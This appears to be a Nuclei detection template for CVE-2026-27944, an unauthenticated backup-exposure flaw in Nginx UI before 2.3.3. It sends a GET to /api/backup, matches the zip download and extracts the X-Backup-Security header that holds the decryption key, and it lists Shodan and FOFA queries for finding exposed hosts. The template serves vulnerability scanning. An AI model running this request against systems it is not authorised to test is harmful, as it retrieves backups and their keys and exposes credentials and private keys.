Nginx UI < 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.
id: CVE-2026-27944
info:
name: Nginx UI < 2.3.3 - Information Disclosure
author: omarkurt
severity: critical
description: |
Nginx UI < 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.
impact: |
Unauthenticated attackers can access and decrypt full system backups, exposing sensitive data including credentials and private keys.
remediation: |
Upgrade to version 2.3.3 or later.
reference:
- https://github.com/advisories/GHSA-g9w5-qffc-6762
- https://www.tenable.com/security/research/tra-2026-17
- https://vulnerabletarget.com/VT-2026-27944
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-27944
epss-score: 0.01014
epss-percentile: 0.62131
cwe-id: CWE-306
metadata:
verified: true
max-request: 1
vendor: 0xjacky
product: nginx-ui
shodan-query: http.title:"nginx ui"
fofa-query: title="nginx ui"
tags: cve,cve2026,nginx-ui,unauth,exposure,vkev
http:
- method: GET
path:
- "{{BaseURL}}/api/backup"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "X-Backup-Security"
- "application/zip"
condition: and
- type: word
part: header
words:
- "attachment; filename="
- type: status
status:
- 200
extractors:
- type: regex
part: header
group: 1
name: backup_security_header
regex:
- "X-Backup-Security: (.+)"
# digest: 490a00463044022070411fbd251a25dd7d5b639f6e4032ff5e9793ca89ebe5a90eb00fb7dd9c7ff7022068036015a8d47bdc1dd7a37598930f0f850b70af1c02ada3c860524aa67847a9:922c64590222798bb761d5b6d8e72950
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